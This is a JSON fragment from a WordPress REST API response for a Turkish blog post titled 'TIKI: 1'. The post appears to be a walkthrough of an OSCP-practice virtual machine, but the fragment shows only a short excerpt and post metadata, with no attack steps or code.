Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This machine was created for the OSCP Preparation.This box was created with virtualbox. For any queries please contact me on twitter:…<\/p>\n
Devam\u0131n\u0131 okuTIKI: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[556],"class_list":["post-1309","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-tikiwiki","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1309"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1309\/revisions"}],"predecessor-version":[{"id":1310,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1309\/revisions\/1310"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}